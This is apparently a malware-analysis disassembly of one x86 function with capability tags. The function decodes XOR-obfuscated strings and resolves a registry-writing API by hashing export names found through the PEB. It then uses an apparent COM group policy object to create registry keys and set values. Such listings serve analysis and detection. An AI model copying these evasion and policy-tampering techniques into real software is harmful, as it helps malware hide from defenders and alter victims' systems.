Function at 0x414ed0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f85dd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x220
push 2
push 0
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x44], 0x35378eac
mov dword [ebp - 0x40], 0x11d2683f
mov dword [ebp - 0x3c], 0xc0009aa8
mov dword [ebp - 0x38], 0xa2cfbb4f
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
je 0x414f2f
cmp eax, 1
je 0x414f2f
cmp eax, 0x80010106
jne 0x415ced
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x20]
push eax
push 0x521918
push 1
push 0
push 0x5192c4
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x20]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
test eax, eax
js 0x415cbf
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x28]
push edx
push 2
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test eax, eax
js 0x415cbf
movaps xmm0, xmmword [0x5266c0]
xor ecx, ecx
movups xmmword [ebp - 0xd1], xmm0
mov dword [ebp - 0xa1], 0x23393f26
movaps xmm0, xmmword [0x526670]
movups xmmword [ebp - 0xc1], xmm0
mov dword [ebp - 0x9d], 0x392425
movaps xmm0, xmmword [0x526520]
movups xmmword [ebp - 0xb1], xmm0
nop
movzx eax, byte [ebp + ecx - 0xd1]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xd1], al
inc ecx
cmp ecx, 0x37
jb 0x414fc0
push ebx
push esi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x124]
push edi
push 0
push eax
push 0
push 0x20006
push 1
push 0
push 0
lea eax, [ebp - 0xd1]
push eax
push dword [ebp - 0x28]
call ebx
test eax, eax
jne 0x415100
movaps xmm0, xmmword [0x5262e0]
xor ecx, ecx
movups xmmword [ebp - 0x13e], xmm0
mov dword [ebp - 0x12e], 0x24252339
mov word [ebp - 0x12a], 0x39
movzx eax, byte [ebp + ecx - 0x13e]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x13e], al
inc ecx
cmp ecx, 0x15
jb 0x415031
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x2c], ecx
cmp ecx, esi
je 0x4150c4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4150c4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4150bd
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4150a0
cmp esi, 0xda5113dc
je 0x4150c8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415085
mov eax, dword [eax]
jmp 0x415060
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x13e]
add eax, edx
push ecx
push dword [ebp - 0x124]
call eax
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
movaps xmm0, xmmword [0x5266c0]
xor ecx, ecx
movups xmmword [ebp - 0x1e7], xmm0
mov word [ebp - 0x1a7], 0x3924
movaps xmm0, xmmword [0x526670]
movups xmmword [ebp - 0x1d7], xmm0
mov byte [ebp - 0x1a5], 0
movaps xmm0, xmmword [0x526520]
movups xmmword [ebp - 0x1c7], xmm0
movaps xmm0, xmmword [0x526360]
movups xmmword [ebp - 0x1b7], xmm0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1e7]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1e7], al
inc ecx
cmp ecx, 0x42
jb 0x415150
push 0
lea eax, [ebp - 0x128]
push eax
push 0
push 0x20006
push 1
push 0
push 0
lea eax, [ebp - 0x1e7]
push eax
push dword [ebp - 0x28]
call ebx
test eax, eax
jne 0x415257
mov word [ebp - 0x2c], ax
xor ecx, ecx
mov dword [ebp - 0x1c], 0x2f322f
movzx eax, byte [ebp + ecx - 0x1c]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 3
jb 0x4151a2
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x415224
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415224
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41521d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415200
cmp esi, 0xda5113dc
je 0x415228
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4151e8
mov eax, dword [eax]
jmp 0x4151c3
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 2
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x2c]
push ecx
push 1
push 0
lea ecx, [ebp - 0x1c]
add eax, edx
push ecx
push dword [ebp - 0x128]
call eax
movaps xmm0, xmmword [0x5266c0]
xor ecx, ecx
movups xmmword [ebp - 0xc6], xmm0
mov dword [ebp - 0xa6], 0x6a393d25
movaps xmm0, xmmword [0x526670]
movups xmmword [ebp - 0xb6], xmm0
mov dword [ebp - 0xa2], 0x2f2c2f0e
mov dword [ebp - 0x9e], 0x382f2e24
mov byte [ebp - 0x9a], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xc6]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xc6], al
inc ecx
cmp ecx, 0x2c
jb 0x4152a0
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x30]
push eax
push 0x20006
push 1
lea eax, [ebp - 0xc6]
push eax
push dword [ebp - 0x28]
call ebx
test eax, eax
jne 0x41549a
movaps xmm0, xmmword [0x5265f0]
xor ecx, ecx
movups xmmword [ebp - 0x192], xmm0
mov word [ebp - 0x182], 0x2f38
mov byte [ebp - 0x180], al
nop
movzx eax, byte [ebp + ecx - 0x192]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x192], al
inc ecx
cmp ecx, 0x12
jb 0x415300
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415389
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415389
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x415382
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415365
cmp esi, 0xda5113dc
je 0x41538d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415350
mov eax, dword [eax]
jmp 0x415327
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x192]
add eax, edx
push ecx
push dword [ebp - 0x30]
call eax
movaps xmm0, xmmword [0x526880]
xor ecx, ecx
movups xmmword [ebp - 0x61], xmm0
mov dword [ebp - 0x51], 0x23212b1e
mov dword [ebp - 0x4d], 0x290b2d24
mov dword [ebp - 0x49], 0x2425233e
mov byte [ebp - 0x45], 0
movzx eax, byte [ebp + ecx - 0x61]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x61], al
inc ecx
cmp ecx, 0x1c
jb 0x4153e2
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415464
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415464
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41545d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415440
cmp esi, 0xda5113dc
je 0x415468
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415428
mov eax, dword [eax]
jmp 0x415403
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x61]
add eax, edx
push ecx
push dword [ebp - 0x30]
call eax
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
movaps xmm0, xmmword [0x5266c0]
xor ecx, ecx
movups xmmword [ebp - 0x17f], xmm0
mov dword [ebp - 0x15f], 0x16393d25
movaps xmm0, xmmword [0x526670]
movups xmmword [ebp - 0x16f], xmm0
mov dword [ebp - 0x15b], 0x3e393319
mov word [ebp - 0x157], 0x272f
mov byte [ebp - 0x155], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x17f]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x17f], al
inc ecx
cmp ecx, 0x2a
jb 0x4154e0
lea eax, [ebp - 0x34]
push eax
push 0x20006
push 1
lea eax, [ebp - 0x17f]
push eax
push dword [ebp - 0x28]
call ebx
test eax, eax
jne 0x4155fc
cmp dword [ebp - 0x18], 1
movaps xmm0, xmmword [0x526770]
setne al
mov word [ebp - 0x194], 0x24
mov dword [ebp - 0x1c], eax
xor ecx, ecx
movups xmmword [ebp - 0x1a4], xmm0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1a4]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1a4], al
inc ecx
cmp ecx, 0x11
jb 0x415540
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x4155c9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4155c9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4155c2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4155a5
cmp esi, 0xda5113dc
je 0x4155cd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415590
mov eax, dword [eax]
jmp 0x415567
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x1c]
push ecx
push 4
push 0
lea ecx, [ebp - 0x1a4]
add eax, edx
push ecx
push dword [ebp - 0x34]
call eax
movaps xmm0, xmmword [0x5266c0]
xor ecx, ecx
movups xmmword [ebp - 0x229], xmm0
mov word [ebp - 0x1e9], 0x24
movaps xmm0, xmmword [0x526670]
movups xmmword [ebp - 0x219], xmm0
movaps xmm0, xmmword [0x526590]
movups xmmword [ebp - 0x209], xmm0
movaps xmm0, xmmword [0x526370]
movups xmmword [ebp - 0x1f9], xmm0
nop
movzx eax, byte [ebp + ecx - 0x229]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x229], al
inc ecx
cmp ecx, 0x41
jb 0x415640
push 0
lea eax, [ebp - 0x24]
push eax
push 0
push 0x20006
push 1
push 0
push 0
lea eax, [ebp - 0x229]
push eax
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x415c0c
movaps xmm0, xmmword [0x525f80]
xor ecx, ecx
movups xmmword [ebp - 0xeb], xmm0
mov dword [ebp - 0xdb], 0x3e232425
mov dword [ebp - 0xd7], 0x24233825
mov word [ebp - 0xd3], 0x2d
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xeb]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xeb], al
inc ecx
cmp ecx, 0x19
jb 0x4156c0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415749
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415749
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x415742
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415725
cmp esi, 0xda5113dc
je 0x41574d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415710
mov eax, dword [eax]
jmp 0x4156e7
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0xeb]
add eax, edx
push ecx
push dword [ebp - 0x24]
call eax
movaps xmm0, xmmword [0x526140]
xor ecx, ecx
movups xmmword [ebp - 0x105], xmm0
mov dword [ebp - 0xf5], 0x2f3e2538
mov dword [ebp - 0xf1], 0x25233e29
mov word [ebp - 0xed], 0x24
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x105]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x105], al
inc ecx
cmp ecx, 0x19
jb 0x4157b0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415839
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415839
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x415832
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415815
cmp esi, 0xda5113dc
je 0x41583d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415800
mov eax, dword [eax]
jmp 0x4157d7
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x105]
add eax, edx
push ecx
push dword [ebp - 0x24]
call eax
movaps xmm0, xmmword [0x5265a0]
xor ecx, ecx
movups xmmword [ebp - 0x7d], xmm0
mov dword [ebp - 0x6d], 0x27233e26
mov dword [ebp - 0x69], 0x2b240f2f
mov dword [ebp - 0x65], 0x2f2628
nop
movzx eax, byte [ebp + ecx - 0x7d]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x7d], al
inc ecx
cmp ecx, 0x1b
jb 0x415890
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415914
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415914
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41590d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4158f0
cmp esi, 0xda5113dc
je 0x415918
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4158d6
mov eax, dword [eax]
jmp 0x4158b1
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x7d]
add eax, edx
push ecx
push dword [ebp - 0x24]
call eax
movaps xmm0, xmmword [0x525f70]
xor ecx, ecx
movups xmmword [ebp - 0x11f], xmm0
mov dword [ebp - 0x10f], 0x3e232425
mov dword [ebp - 0x10b], 0x24233825
mov word [ebp - 0x107], 0x2d
movzx eax, byte [ebp + ecx - 0x11f]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x11f], al
inc ecx
cmp ecx, 0x19
jb 0x415971
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415a04
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415a04
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4159fd
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4159e0
cmp esi, 0xda5113dc
je 0x415a08
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4159c5
mov eax, dword [eax]
jmp 0x4159a0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x11f]
add eax, edx
push ecx
push dword [ebp - 0x24]
call eax
movaps xmm0, xmmword [0x526800]
xor ecx, ecx
movups xmmword [ebp - 0x154], xmm0
mov dword [ebp - 0x144], 0x25233e29
mov word [ebp - 0x140], 0x24
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x154]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x154], al
inc ecx
cmp ecx, 0x15
jb 0x415a60
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415ae9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415ae9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x415ae2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415ac5
cmp esi, 0xda5113dc
je 0x415aed
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415ab0
mov eax, dword [eax]
jmp 0x415a87
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x154]
add eax, edx
push ecx
push dword [ebp - 0x24]
call eax
movaps xmm0, xmmword [0x525f10]
xor ecx, ecx
movups xmmword [ebp - 0x99], xmm0
mov dword [ebp - 0x89], 0x2c233e25
mov dword [ebp - 0x85], 0x3e2b2923
mov dword [ebp - 0x81], 0x242523
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x99]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x99], al
inc ecx
cmp ecx, 0x1b
jb 0x415b50
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415bd9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415bd9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x415bd2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415bb5
cmp esi, 0xda5113dc
je 0x415bdd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415ba0
mov eax, dword [eax]
jmp 0x415b77
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x99]
add eax, edx
push ecx
push dword [ebp - 0x24]
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415c84
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415c84
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x415c7d
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415c60
cmp esi, 0x1242154a
je 0x415c88
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415c45
mov eax, dword [eax]
jmp 0x415c20
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push dword [ebp - 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x44]
push 0x520964
push edx
push 1
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0x1c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x415cd3
mov dword [ebp - 0x20], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x415ced
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret